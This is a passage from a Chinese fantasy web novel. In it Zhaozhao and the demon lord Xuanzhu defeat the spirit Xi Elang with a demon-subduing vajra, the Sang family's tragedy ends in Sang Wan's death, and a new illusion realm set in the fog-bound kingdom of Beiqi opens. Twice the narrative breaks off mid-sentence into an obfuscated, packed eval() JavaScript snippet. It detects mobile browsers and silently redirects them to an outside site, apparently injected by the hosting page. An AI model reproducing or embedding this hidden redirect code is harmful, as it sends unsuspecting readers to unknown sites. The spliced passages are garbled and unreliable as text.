她只能赌,赌玄烛和她是有些默契的。 当听到玄烛答应要和希恶郎做交易时,朝朝差点没被吓得魂都没了,她还以为玄烛真的会为了摆脱她,而找希恶郎帮忙。 不过幸好,下一瞬她便被一股力量拉入地下,等回过神时,她已经逃离五指山,出现在了希恶郎的头顶上方。 希恶郎还在和玄烛说着话,并没有发现她的消失。 朝朝扭头瞧了瞧,发现自己两侧的肩上站着的是玄烛的冥火小人,她便知晓了是玄烛助她脱的困。 待希恶郎发现她消失时,她那个从天而降的招式已经准备好,然后她就聚精会神地看着火焰中,希恶郎本能地用手护住的位置。 这说起来真的不长,但朝朝实在是懒得和希恶郎解释。 她只笑嘻嘻地低头看向下方的玄烛,说道:“我和天魔大人很有默契的,不需要用嘴商量,用心灵就能沟通对付你的法子。” 听到这话,玄烛略带嫌弃地抿紧唇角,冷声道:“不是默契,只是你这工具,我开始用得顺手罢了。” 朝朝才不管玄烛怎么说,反正她就管这叫默契。 希恶郎看着他们一阵沉默,良久它又仰面放声大笑起来。 “哈哈哈!知道了我的死穴又如何!浴佛之金,降魔之力你们知道是什么吗?而且就算你们全都知道了,你们也无法离开这里!!” 它话音落下的一刻,地面再次震动起来,这次的震动比之前剧烈了几十倍。 无数黑影阴灵从震动造成的裂缝中爬出,希恶郎也用力与缠住自己的冥火锁链拉扯,试图挣脱并站起身。 冥火锁链越绷越紧,很快便碎裂了一条。 玄烛扫了眼四周后,神色沉着地抬起双手,一股霸道的力道自他身上荡出,霎那间便压制住周遭全部阴灵,使它们被强行按倒在地面,动弹不得。 希恶郎也感觉到那股强大的力量压住了自己,但它并没有露怯,反而继续笑着说道:“你就这点能耐吗?还真是让我失望啊!” 说着,又一条缠绕着它的锁链碎裂。 朝朝看得心急,就在她使着劲想要再挤出点法力帮玄烛压制希恶郎时,她听到了玄烛如往常一样冷冰冰的声音。 “它们我自会收拾,你去找离开这里的方法。” 朝朝:“不行,我怕……” “怕什么,该怕的是它才对。” 玄烛打断她的话,右手在虚空中轻轻一招,同希恶郎一样庞大的冥龙再次现身,视线凶恶地瞪着还在挣扎的希恶郎。 而后玄烛又对朝朝说道:“你应该已经知晓浴佛之金,降魔之力的意思了,那东西我用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966634|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了,只有你能用。” 朝朝眸色沉肃下来。 对,她已经知道那两句话的意思了。 沐浴在佛光下的金石,蕴藏着降魔的力量,指的就是普净寺内的降魔杵,只有那东西能杀死希恶郎,所以之前桑远才不让朝朝靠近那里,也不让沾染了希恶郎邪术的桑宅人靠近,因为一旦靠近,就会被降魔杵铲除。 玄烛的力量无法使用降魔杵,他靠近反倒会被其攻击,所以只能朝朝来用。 朝朝不再犹豫,眼下尽快取来降魔杵才是帮玄烛。 但离开这里的方法,她还不知道。 朝朝焦急地环顾四周寻找离开的方法,但却没有丝毫头绪。 已经冷静下来的商枝缓缓抬起了手。 “小姐,你看那里,好像有什么东西?”商枝的食指指向天空。 朝朝连忙看去,灰蒙蒙的天空中,好像有一个黑点。 她揉了揉眼睛,又仔细看去,这才看清,那是一口倒挂在天上的枯井。 “那一定就是出口!”她一阵激动,立即揽着商枝,猛足劲向天上那口井飞去。 注意到朝朝已经发现出口,希恶郎也拼上全力,直接扯断余下的所有锁链,伸长手想要抓住打算离开的朝朝。 “休想逃走!!”它声嘶力竭地吼道。 眼看着手要抓住朝朝的瞬间,冥龙咆哮着飞来,龙身紧紧缠绕住希恶郎,并且张开龙嘴,一口便咬住那只想要触碰朝朝的手臂。 这一口咬得极狠,直接将希恶郎的手臂断了。 但希恶郎并不在乎这点伤,它又唤出无数阴灵扑向玄烛,同时伸出另一只手向朝朝挥去。 见井口越来越近,商枝又回头看了眼身后紧追而来的巨手。 “小姐,我已经死了,我不是你认识的那个商枝。”商枝看向朝朝说道。 因为一下子消耗太多法力,朝朝的额角溢出不少汗珠,她粗喘着气回道:“我知道,可就算你是阴灵,也不该被那邪祟祸害。” 听到这话,商枝感动地笑起来。 “小姐,你对我真好。” 对于商枝来说,朝朝就是她的一切。 她自幼丧母,父亲好赌,为了赌资将年幼的她卖到朝朝家做下人,但商枝很幸运,朝朝的父母都对她很好,朝朝又是个开朗善良的性子,甚至一直都将她当成妹妹,所以商枝离开父亲后,反倒再没有吃过什么苦了。 朝朝的父母死后,朝朝就成了她唯一的亲人。 她想,她死前的执念,应该是再见朝朝一面吧。 虽然她不清楚朝朝为什么会法术,但当她发现朝朝有力量保护自己时,她忽然就放心了。 现在,是时候和朝朝告别了。 “姐姐,保重。” 她轻声说完,从朝朝手臂中挣脱,最后,她用上全身的力气,在朝朝身后推了一把。 朝朝震惊地被她推入井中,回头看去时,商枝小小的身躯正挡在巨手前。 希恶郎抬脚踩住冥龙乱挥的尾巴,然后看着不自量力的商枝轻蔑地嘲讽起来:“不过小小阴灵,你这是自寻死路!” 它一把握住商枝,稍稍用力一握,就将其捏碎成粉末。 看这商枝散落在地的粉末,希恶郎笑得越发激动:“看吧!哈哈哈!不过是蚍蜉撼树!!哈哈哈哈!愚蠢,愚蠢!!” “蠢是蠢了些,但她,却决定了你的生死。” 玄烛的声音冷冷响起。 希恶郎的笑声也戛然而止。 它瞪大双眼,怔怔地看着天上那口井,怎么也瞧不见朝朝的身影了。 “小、小姑娘逃走了?”希恶郎喃喃出声,随后它又猛地拔高嗓门,震惊又愤怒地喊道:“她不是很在乎那个阴灵吗?她怎么都不回头救那个阴灵?!为什么?!!” 玄烛漫不经心地抬了抬左手食指,从地下倏地生出数个一人高的地刺,将靠近他的阴灵尽数刺穿,随后回答了希恶郎的困惑:“因为她是天界之人,那帮家伙都只有虚伪的良善,为了自己口中的正道,他们可以牺牲任何人。” 希恶郎僵硬的低头看向玄烛:“你不是很讨厌她吗?你不是喜欢杀戮吗?我能感觉到,你我才是志同道合,可你为何要出手帮她?” 玄烛又侧身拧掉一个阴灵的脑袋,像拿着一个大苹果般,放到唇边咬下一口。 他咯吱咯吱地咬碎阴灵的头咽下,唇边露出一抹阴狠的笑容,眸子里却好似结出了冰碴儿。 “志同道合?不,我和你不一样。” 他飞身至希恶郎的六只眼睛前,红衣衣摆在阴风中飘舞,缓缓举起右拳。 然后一拳打爆了希恶郎其中一只眼珠。 他在希恶郎的惨叫声中,慢声说道:“你想杀的只是一些虚幻的人罢了,而我,要杀掉十恶境外的所有人,天族,人族,当然也包括你这种邪魔歪道,所有活着的,我都不会放过!” “我要喝他们的血,吃他们的肉!我要毁了他们的天和地!让他们把欠我的全还上!!” 他越说,脸上的笑容就越深,而缠绕着希恶郎的冥龙的表情则越加狰狞。 玄烛的身上布满了戾气和怨恨,还有……疯狂。 有一瞬间,希恶郎竟打了个哆嗦。 它甚至产生一个念头,眼前的男人不是杀不掉它,只是碍于这里的约束,所以才无法杀它,如果换个地方,它很有可能早就被这男人分尸了。 不过这个念头很快就被希恶郎打消了。 不管这男人有多厉害,在此地,都不可能将它怎么样。 想着,无数黑雾裹住希恶郎那条被冥龙咬断的胳膊,很快就愈合了断处。 它大笑着扼住冥龙的脖颈,用力将其摁在地面,周围又有无数阴灵现身,朝冥龙扑去,没一会儿就淹没了冥龙的身影。 希恶郎缓缓站直身子,在高处轻蔑地睥睨着玄烛,笑着说道:“就算那小姑娘能带着降魔杵回来,她也杀不死我,因为她的法力根本不足为惧,还有你,我也不怕!你只是一个装着强大力量的容器,而我,是强大力量的本身!我的身体和那个小姑娘一样,有这些黑雾在,就可不死不伤,你能奈我何!” 看着希恶郎傲慢的模样,玄烛眼底多了几分嘲意。 也是,他做封印容器当得太久,连自己都快忘了他自己真正的身份了。 想着,玄烛缓缓敛起笑意,面无表情地开口。 “那就看看,我到底能对你做什么吧。” 19. 千阴宅 朝朝从井中爬出时,天空是黑的。 桑宅内静悄悄,似乎所有人都在熟睡,昏暗的夜,只有夜风还醒着拨弄树影。 她不敢耽搁,立刻飞出桑宅,用最快的速度下山,飞入普净寺拿到降魔杵,再返回桑宅。 这一路都很顺利,直到她在桑宅大门前看到桑远。 他面无表情地站在大门前,视线望着由远及近的朝朝。 看到桑远,朝朝皱了下眉头,但她决定不做理会,眼下除掉希恶郎才是最重要的。 她正要冲入桑宅,一支短箭突然从下方射向她,幸好闪躲及时,才没有被伤到。 朝朝低头看去,发现桑远正拿着□□站在下方。 桑远眸色阴沉地看着朝朝,随后从怀中缓缓拿出希恶郎的木雕。 这是希恶郎准备的后手,曾经封印它的木雕,如今藏蓄了它无数强大的法力,只要刺穿木雕,桑远就能借用其中的力量阻拦朝朝。 “朝朝,你是斗不过希恶郎的,我不想和你打,只要你肯将降魔杵送回去,我便不会用这个木雕对付你。”桑远沉声说道。 听完他的话,朝朝的右手燃起火焰,不打算和其废话。 正要出手时,她瞥了一眼桑远身后敞开的桑宅大门,沉默片刻后轻叹一口气,又熄灭手中的火焰。 她轻身落于地面,劝说道:“远表哥,不要再与邪祟为伍了。” “与邪祟为伍怎么了?”桑远浅笑着回答:“它能救活婉婉,是邪祟又如何。” 这话让朝朝有些生气:“你还帮它杀了桑宅里的其他人,这有什么好感谢的!” 桑远淡声反驳:“那不是杀,他们虽死了,但希恶郎会把他们复活,他们不会有半点死亡时的记忆,复活后他们也不会再有关于死亡的烦恼了,这不是很好吗?他们只是偶尔把身体借给希恶郎用用,以此来换取我们一家人永远不分开,这很划算啊。” “什么狗屁划算!你醒醒吧!” 朝朝怒声骂道:“你知道那口井下有多少被希恶郎操纵的阴灵吗?它们都是被希恶郎杀掉又复活过的人,希恶郎操纵它们附身在你的家人身上,享受杀人带给他的乐趣,它们是在笑,但其实它们都很痛苦!它们本可以不必承受这种痛苦,可就是因为有你这种,因一己私欲而与希恶郎做交易的人存在,它们才会变成邪物的傀儡!等希恶郎玩够你的那日,你想守护桑家人也会变得和它们一样……” “不会的!!” 桑远有些崩溃地打断朝朝,他红着眼眶,眼底噙着泪光,摇头否认着朝朝的说法:“不,不会的!只要我能满足它,桑家就不会有人变成它的傀儡!” 朝朝无语地哼笑一声:“呵,你太蠢了,它是邪祟,它的恶永远不会得到满足。” 桑远抬眼怒视她,咬牙切齿地开口:“我不信你的话,你就是想拆散这个家!我绝对不会让你得逞的,我会守护好婉婉,还有父亲,母亲,阿洵……” 这次换做朝朝打断他:“那你有问过他们,想被你用这种方式守护吗?” 桑远身子一顿,随后逃避地垂下眼眸:“他们不需要知道我做的事,他们只要同寻常人一般活着,就够了。” “都是已死之人了,还如何同寻常人般活着?” 桑婉的声音在桑远身后响起。 桑远一惊,呆怔片刻才回头看去。 桑婉身姿端庄地迈出桑宅大门,神色悲伤地望着桑远。 “哥,从我无意中发现你帮着那邪物杀人后,我就再没有一夜能够安眠,每每闭眼我就忍不住开始想,那个邪物都是如何操纵我的身体杀人的?我的手到底沾染过谁的血?父亲,母亲,还有二哥,他们是不是我杀的?” 桑远慌乱地摇头说道:“没,没有!婉婉你相信我,你的手上没有沾过父亲母亲还有阿洵的血!” “但是沾过别人的血啊!”桑婉又向前迈出一步,眼泪夺眶而出,“这样活着还不如死了!父亲母亲他们也不会想要这样活着的!!” 桑远又急忙同她解释:“我不是和你说过,那些死掉的人还会活过来,而且他们都不用再担心生死之事了,这对他们来说是好事啊!婉婉,你不要有罪恶感,那些复活的人还要感谢你呢!” 听到这话,桑婉忍不住冷笑一声:“感谢?好啊,那你来听听他们是否会感谢你我吧!” 她话音落下,桑岐南和荣欣兰也脸色难看地从桑宅大门后走出,身后紧跟着桑洵,再后面,是南星、天葵等桑宅中的其他人。 他们陆陆续续走出,而朝朝手中的降魔杵开始隐隐颤动。 看来桑家人都聚在这里,阴邪之气变重,所以唤醒了降魔杵。 她暗暗握紧降魔杵。 桑家人都是无辜的,除了桑婉,其余人并不知自己已变成邪物的傀儡,而桑婉知道了此事,内心也是备受煎熬,她不知该如何对他人诉说这可怕的真相,但也不忍看到朝朝受害,所以才冷着脸设法赶走朝朝。 他们都不是大奸大恶之人,朝朝实在无法亲手用降魔杵除掉他们。 朝朝思忖时,桑远正不知所措地面对众人:“你,你们……” 桑洵神色沉郁地拉开衣袖,看向自己手腕上的疤痕:“哥,这就是我死时留下的痕迹吗?” 面对桑洵的询问,桑远只是张着嘴巴,不知该怎么回答。 桑岐南的眉头紧锁着,眸中尽是悲痛,开口吐出的声音都在颤抖:“远儿,你太糊涂了!你怎么能对我们做这种事?!” “我、我不是在害你们!”桑远慌张地为自己辩解:“父亲,其实你们没有死,只是换了种方式活着而已!” 听到这话,荣欣兰满脸怒意地走上前,挥手就狠狠给了桑远一巴掌。 “混账!这种活法我们不稀罕!你父亲和我一生行善积德,从没有害过人,更别说杀人了!你却为了什么一家子永远在一起的自私念头,把我们变得人不人鬼不鬼,这算哪门子在一起?一家子畜.牲在一起吗?”荣欣兰气愤地大骂。 桑远捂着被打得红肿的脸,委屈地望着荣欣兰:“母亲……” “如果今夜婉婉没有叫醒我们,让我们听到你和朝朝的谈话,恐怕我们还不知要做那邪物的傀儡多久!” 说着,荣欣兰一把抓住桑远手中的木雕,以防桑远出手阻拦朝朝,随后她看向朝朝,肃声开口:“朝朝,你知道如何除掉那邪物吧?快去吧,我绝不会让他拦住你的!” 看着荣欣兰几人坚定的目光,朝朝不由得欣慰一笑。 她果然没看错,舅父舅母一家不是坏人,他们都有自己对善的坚持。 朝朝抬脚准备飞入桑宅,可刚起身,一支短箭迅速向她的面门射来。 她连忙挥手挡开短箭,低头恼火地看向下方。 桑远又将弩对准了她。 “远儿,你做什么?!”荣欣兰不可置信地看着他。 桑远脸色阴沉地开口:“对不起了母亲,我不能放她过去。” 他的话音顿了一瞬,随后提高音量,喊道:“所有人都听好了!只要希恶郎不被除掉,你们就可以一直活着,永永远远地活着!但如果她除掉了希恶郎,那施加在你们身上的法术就会消失,你们所有人都会死!不想死,就助我拦住她!” 桑岐南身后的众人开始面面相觑,各自在心底掂量起利弊。 瞧见有人动摇,桑婉急忙说道:“别听他的!就算我们活着,也要成为那邪物的傀儡继续杀人!那根本不算活着!” “那样活着……也没什么吧。”有人开口回道:“而且远少爷说那东西会复活所有死去的人,这其实,不能算作杀人吧?” 此话一出,更多人动摇了。 很快便有人转身压住想要反抗桑远的人,有人则拿着棍子控制住桑岐南和桑洵,阻拦他们冲去妨碍桑洵。 这个时候,人们对善良的坚持就显露出不同了。 有的人不管利益几何,关于善的定义都不会有半分改变,有的人却只要得到极少的好处,就可以不断将善的底线下降,甚至愿意找借口美化恶,欺人欺己。 见有人开始支持自己,桑远得意一笑,然后用力将荣欣兰推倒在地,从腰间拔出一支短箭,将箭头用力刺入希恶郎的木雕中。 大量黑雾从木雕的裂缝中流出,而后全部融入桑远的身体中,化作丑陋的黑色纹路,爬满桑远的脸。 感受到强大的力量,他兴奋地低笑几声,随手一挥便在桑宅四周竖起厚重的雾墙,紧接着又在手中聚起黑雾,用力打向朝朝,放声吼道:“我绝不会让你过去的!!” 朝朝连忙张嘴喷出一长串火焰,将攻来的黑雾打散,可打散一团,后面还有数团黑雾紧随而来。 就在此时,桑宅西侧轰然一声巨响,伴随着刺眼的光,照亮了半边夜幕。 朝朝抬眼看过去。 隔着浓郁的黑雾,她看到巨大的希恶郎站起身,头顶几乎撑天。 它的手脚被无数条冥火锁链捆绑着,还有几束银光贯穿了它的头颅和身体,希恶郎一面挣扎,一面痛苦惨叫,声音震耳欲聋。 玄烛悬在立于希恶郎的面前,原本高束的长发,现已披散在身后,发丝随着夜风飞舞,而他身后出现一轮半弯的月,使整个人都笼罩在一层淡淡的月辉之中。 “玄烛!” 朝朝刚担忧地喊了一声,又一团黑雾倏地向她的心口打来,她慌忙闪避,可手臂还是被黑雾擦伤。 这黑雾造成的伤口极痛,而且很难愈合。 她捂着伤口皱起眉心。 糟了,这些黑雾造成的伤口难以愈合,对付起来很麻烦,而且她的法力有限,桑远现在分明是想逼她出手,等耗尽她的法力,她便无法用降魔杵诛杀希恶郎了。 见朝朝站在半空不动了,桑远阴笑着说道:“朝朝,不要再与我作对了,你根本赢不了!” 朝朝看了一眼桑远,又转眸看向远处的玄烛,神色越来越焦急。 站在下方的桑婉,看出了朝朝的困境。 一滴泪珠缓缓滑落。 桑远对于不死的执念是因她而起,现在也该她来结束桑远这荒唐的念头。 她用力推开旁边拦住自己的女人,拔出怀中的匕首,全力冲向桑远。 桑远正认真地聚起一团黑雾,打算将朝朝从天上打下来。 可手中的黑雾还没放出去,后腰就传来一阵剧痛。 他缓慢地回头看去,桑婉就站在他身后,手还紧紧握在那把插在他腰间的匕首上。 “哥哥,求你了,不要再继续了。”她哽咽地说道。 桑远僵硬地歪了歪头,然后呆怔地问道:“你,恨我?” 桑婉用力摇头:“不,我不恨你,从小哥哥对我最好了,所以我没办法恨哥哥,我恨的是我自己,是因为我的病,才会逼得哥哥去和那个邪物做了交易,所以……” 说着,她又用力拔出匕首,将其对准自己的脖子。 “哥哥,停手吧,我不想再恨自己了。” 匕首划破肌肤,无数鲜红喷洒在桑远的脸上。 他怔怔地看着桑婉倒下的身体,失去了所有聚起黑雾的力气。 挡在面前的雾墙倏然坍塌,朝朝也顾不上下方的情形,急忙向希恶郎飞去。 越靠近希恶郎,降魔杵颤抖地越发厉害。 朝朝将所有法力都放在降魔杵上,只为能一击让希恶郎毙命。 她看准希恶郎脐上一寸的位置,提起降魔杵,直直刺去。 可下一瞬,一只巨手挡住了降魔杵的去路。 朝朝震惊地抬头看去,希恶郎正侧脸睨着她,它的脸上有好几处被玄烛捅出的窟窿,看起来伤得不轻,但伤口正在不断愈合。 “小姑娘,你是无法将降魔杵刺入我死穴的。” 希恶郎慢声说着,然后转头看向还在施法限制它行动的玄烛,又开口说道:“待那家伙身后的月光熄灭,他便也无法限制我的行动了,到时,就是你俩的死期。” 朝朝也转头看去,这才发现玄烛身后的月已经变成残月,而且玄烛的身体也同希恶郎一样,溢出了很多黑气。 那轮月消失之时,就是他们的死期…… 朝朝沉默地看着玄烛。 见她沉默的模样,希恶郎还以为她是怕了,于是又低声嘲笑道:“你们是斗不过我的。” “你未免也太小瞧我了。” 朝朝的声音落入耳中后,希恶郎立刻收起笑意,垂眸看向朝朝。 它看见,朝朝笑了。 “你知道过去崇明上神是如何夸我的吗?他说我是天界的栋梁,是天族的骄傲,是苍生的希望!”她笑着说道。 “敢小瞧我这个栋梁,是你这家伙最大的错误。” 最后一字落地,朝朝的额前再次显现金色的火焰纹样,全身也瞬间燃起气势凶猛的金红火焰。 她的手缓缓松开降魔杵,用身上不断涌出的火焰去助推降魔杵继续前进。 看着降魔杵逐渐被她推动,希恶郎面露诧异:“不,你不可能……” 未等希恶郎说完,它拦在降魔杵前的手掌竟‘咔嚓’一声,出现了裂纹。 在不远处看着朝朝的玄烛,微眯起肃冷的视线。 那个仅如蜡烛一般的小火苗,正在飞快地成长。 不过短短时间,朝朝的法力就提升了。 崇明到底送了个什么东西到他身边? 看着希恶郎掌中的裂纹,朝朝又咬牙用力一推。 一瞬间,希恶郎的手掌便四分五裂。 见状,希恶郎也发了狠,另一只手急忙挣脱玄烛的束缚,大吼着想要抓住朝朝。 可还未碰到朝朝,一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966635|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银光倏然劈来,甚至连痛都没来得及,它的手臂就被斩断落在地。 降魔杵也一鼓作气刺入它的脐上一寸。 “啊!!” 无数黑雾自希恶郎死穴内泻出,它极其痛苦地尖叫着,连带着整座山都随着它的声音一起颤抖。 最后,它轰然碎裂成千万片,如雪花般纷纷飘落向地面。 玄烛缓缓收回斩断希恶郎手臂的手,旁侧又迅速飞来一股杀气。 他正要挥手挡住那飞来的东西,一团至阳之火却乍然将他整个人围住。 朝朝飞到他身旁,用双手挡住了欲要将玄烛一并除掉的降魔杵。 “我就知道,这降魔杵除掉希恶郎后,定会立刻将矛头指向你,幸好我早有准备。”朝朝背对着玄烛说道。 闻言,玄烛转眸看了看围在周身的火焰,和对付希恶郎时的火焰完全不同,也和之前在普净寺前,朝朝用来压制他身上的混沌之力的火焰不同。 这些火焰没有紧贴在他身上,而是在距离他肌肤一寸的位置燃烧着,并且它们收起了锋芒,变得十分温柔。 这就是朝朝的准备? “虽然上次天魔大人被我的火烧没有什么反应,但我清楚,你肯定是疼的。” 朝朝一边与降魔杵的力量做抗衡,一边同玄烛解释道:“所以我就仔细想了好一阵,总算让我想到了既能用火压制混沌之力,又能让你不疼的方法,只要我把火焰的热集中在焰心上,外焰则调整的无法烫伤你,这样就可以用焰心燃烧时产生的热气,将你身上四溢出的混沌之力一点点压制住,你可以把这种方法理解成烟熏肉,唯一的缺点,就是比直接用烤你要多费些时间。” 玄烛听她说着,抬起右手摸了摸身旁最外层的火焰。 的确,外层的火焰根本不会灼伤人,只是很温暖。 他抬眸看向朝朝,冷声道:“能压制混沌之力就够了,何必做这些多余的事。” 朝朝蹙眉回过头:“你都说能压制混沌之力就够了,没有必要非得弄伤你啊。” 玄烛略微沉默,片刻后沉沉吐出三个字:“假惺惺。” 见他不领情,朝朝把脸转了回去,小声嘟囔道:“随你怎么想,反正我愿意这么做,我高兴就行。” 她嘟囔地很小声,但玄烛还是听得一清二楚。 身上四溢的黑气不断被火焰冒出的热气逼退,缓慢地缩回玄烛体内,隐去了气息。 察觉不到阴邪之气后,降魔杵就没了攻击的势头,扭过头迅速飞离桑宅,估摸着是自己回普净寺了。 朝朝这才收回围在玄烛周身的火焰,自己也缓缓落回地面。 她转身看向同样落回地面的玄烛,十分自豪地问道:“天魔大人,我这回做的是不是很好?” 玄烛面无表情地将脸转到另一边,似乎不想搭理朝朝这个问题。 朝朝却不肯放过他,几步挪到他身边,探着脑袋说道:“我做得很好吧?夸我啊,你就夸夸我吧,求求你了,夸我一下吧,你夸夸我,我下次肯定会做得更好的……” 听着耳边朝朝软绵绵求夸奖的声音,玄烛的脸色越来越差。 这家伙……话真多。 天界的栋梁话都这么多吗?这点他需记下,日后准备灭了天族时,第一件事就是把所有人的舌头割掉。 朝朝还在滔滔不绝地求着夸奖,又突然想起还在大门前的桑家人们。 她这才停下话,也顾不上和玄烛解释,急忙转身向大门口跑去。 当她跑至大门口时,桑宅大门前的地上,躺得全是桑家人。 那些被杀死的人,失去了希恶郎的邪术,已经重新变为尸体。 只有桑远还跪在父母和弟弟妹妹的尸体前。 他并没有死过,因为希恶郎需要一个正常的活人,方便为它四处寻找猎物。 桑远面色苍白地看着地上的尸体,半晌才抬眸看向一步步走来的朝朝。 “你满意了?”他无力地问道。 朝朝皱眉看着周围横七竖八躺着的尸体,心里也很不舒服。 她明知自己铲除邪物没有任何错,可又忍不住想,自己是不是真的是拆散这个家的恶人? 桑远说道:“如果你不曾出现,他们现在应该都还活着。” 朝朝垂下眼眸,挡住眸底动摇的眸光。 不管结局有多么残忍,错的事都一定要纠正。 这种事崇明上神早就教过她了,她不该动摇的。 她又抬起眼帘看向桑远,动摇的眸光重新变得坚定。 “就算我不出现,你的家人也早就死了,是你帮着希恶郎杀了他们。”朝朝沉声说道。 听着她的话,桑远的脸上隐隐浮现出怒意。 朝朝:“本来你要失去的只有桑婉一个,但因为你的贪心不足,现在你失去了所有人。” “贪心?!我想要我的家人都好好活着,这怎么能叫贪心!!”桑远愤怒地吼道。 面对他的吼声,朝朝的面色依然从容不迫。 “家人的定义,不仅仅是要活着在一起,而是无论笑还是哭,你们都能在一起面对的,才叫家人。” 桑远倏地怔住。 是,他逃避了。 当他知道桑婉将死之时,他选择了逃避,而不是和家人一起面对,他逃到了希恶郎的身后,然后一躲再躲,一错再错。 朝朝转过身离开,不再看陷入自责的桑远一眼。 玄烛背靠着桑宅的大门,双臂环在胸膛前,眸色意味深长地看着向自己走来的朝朝。 他现在对这个朝朝越来越好奇了。 拥有琉璃净火,不死之身,在修为提升上也极其有天赋,但她却只是个典灯小仙,这实在不正常。 朝朝身上,或许还有什么秘密。 他决定先把朝朝留在身边,看看崇明到底为何选了这家伙和他一起进入十恶境。 正想着,朝朝已经神情严肃地走到他面前。 同时二人身旁的半空中出现一行金字。 【希恶郎已除,千阴宅破境。】 黑色雕花木门倏然在二人眼前打开。 “天魔大人,你看,这门内就是我为你打下的江山。”朝朝指着那扇门内,一本正经地说道。 可她却没得到玄烛的回应。 她转头一看,身边根本没有玄烛的身影,再转头看回门的方向,才发现玄烛已经走入门内。 “啊!天魔大人好无情!你都不等我,不陪我说话就算了,也不听我说话,我好伤心啊……” 听着身后朝朝叽叽喳喳追来的声音,玄烛连忙加快了步伐。 二人的身影越走越远,黑色木门缓缓闭合。 陆承自阴暗的角落中走出,看着那扇紧闭的木门,弯唇轻笑起来。 “还真是有趣的孩子。” 20. 雪地凶尸 “半年前的某一天,北祁国突然被一场诡异的大雾覆盖,从此北祁再没有一人从那雾中踏出过,他们杳无音讯,生死未知,外界亦无人知晓大雾内的北祁到底发生了什么。” 马车压过一颗石子,车子一阵晃动,朝朝的神识也跟着剧烈晃动一下,然后她原本模糊的视线渐渐清晰,转瞬便看清了坐在她对面,正滔滔不绝讲着话的中年男人。 她揉着有些犯晕的头,对着对面相貌和蔼的中年男人迟疑地开口。 “宋……长生?” 听见她叫自己的名字,宋长生疑惑地看向她:“怎么了?” 一小段记忆流入脑海中,朝朝这才确定,自己直接从第二个幻境进入到第三个幻境中了。 她很快投入到这个幻境的角色中,摇头对宋长生说:“没什么。” 宋长生也没在意她的古怪,而是继续讲起刚才未讲完的事:“我们南麓的圣上年轻时曾与北祁皇帝有过结拜之义,北祁出事后,圣上十分担心,怀疑那大雾是妖邪在作乱,于是开始广招能人异士,希望有人能到北祁化解那大雾,不过之前进去探查的人,都是有去无回,大家一看此事好像凶多吉少,后来去北祁的人就慢慢变少了。” 坐在宋长生身旁的年轻男人名叫柯耀,身材壮硕,皮肤黝黑,相貌平平无奇,他右手搭在腰间一把刀柄镶了宝石的小刀上,有些不耐烦地接了宋长生的话:“你说的这些他们都知道,说说他们不知道的。” “我正准备说呢。” 宋长生不满地白了他一眼,随后又和颜悦色地看向朝朝:“不过这次不一样,有个活神仙贡献给我们圣上一堆奇珍异宝,个比个的厉害,又配上了我们两个世外高人,这次定能轻松解决北祁的祸乱,所以你们两个放心,只要跟紧我们,包你们不会有事,等回了南麓还能拿到丰厚的报酬。” 朝朝客气地笑笑以示回应。 宋长生和柯耀都是南麓的修士,宋长生擅长驭物,柯耀练的则是以身化石,力大无穷,不过朝朝和他们刚认识不久,对他们的本事到底有多厉害并不清楚,所以世外‘高’人这四个字,还有待商榷。 而在这幻境中朝朝是来自西域的异士,游历至南麓时看到朝廷招人的告示,为了那丰厚的奖赏才加入了这个队伍。 看来这次破境的关键,就在北祁内了。 她双臂环在胸前,一边扫视马车内,一边蹙眉思忖着。 也不知玄烛现在在哪里,莫不是和上次一样,人已经比她先一步进入北祁了…… 啊,不,玄烛就坐在她旁边。 朝朝瞪大双眼看着与自己并肩坐在一侧的玄烛,张着嘴巴,许久都没能发出一个音。 玄烛正合着双眼,长发用银色莲冠束起一半,冠的两侧还分别垂着以白玉和紫宝石做点缀的丝绳,自他耳后垂至两肩,这发饰竟收敛了不少他脸上的冷和肃,再配上他一袭白衣和外披的厚重狐领大氅,整个人尽显贵气和雅俊。 等一下,这真的是玄烛吗?他这副打扮,完全像换了一个人。 朝朝摸着下巴歪着脑袋向玄烛凑近几分,仔细瞧了瞧,生怕自己认错人,直到看到玄烛眼尾那两抹艳丽的红,这才敢确定,坐在她身旁的优雅英俊的男人就是玄烛。 “朝朝姑娘,你这是在做什么?”宋长生见她直勾勾地盯着玄烛看,忍不住奇怪地问道。 朝朝回过神,有些尴尬地笑起来:“哦,我没见过长得如此好看的人,就忍不住多瞧两眼。” 听完她的话,柯耀对着朝朝色眯眯地一笑:“西域来的小娘子还真是没见过世面,这回可让你捡着大便宜了,和三个英俊男子同车,你现在一定是小鹿乱撞个不停吧?” 朝朝看着柯耀眨巴眨巴眼,又看着宋长生眨巴眨巴眼,最后看向身旁合着眼的玄烛眨巴眨巴眼。 “三个?哪来的三个英俊男子?”朝朝呆愣愣地反问。 柯耀有些不悦地一拍大腿:“你这是和我逗趣呢?我说的三个英俊男子当然是……” 不等他说完,朝朝用力一拍双手打断他的话,眨巴着满是星星的双眼,开心地说道:“哦,我明白啦!柯大哥的意思,是指我身旁的这位哥哥英俊得一个顶仨吧?你的嘴也太甜了吧,好会夸人,我刚才都没反应过来,差点误会你说自己英俊,还以为你没拿镜子照过自己的脸呢。” 柯耀:“你!” 马车突然停下来,强行结束了马车内的对话。 “几位,到了。”车外传来车夫的声音。 柯耀瞪了朝朝一眼后,拎起包袱,掀开车帘第一个下了马车,宋长生紧随其后。 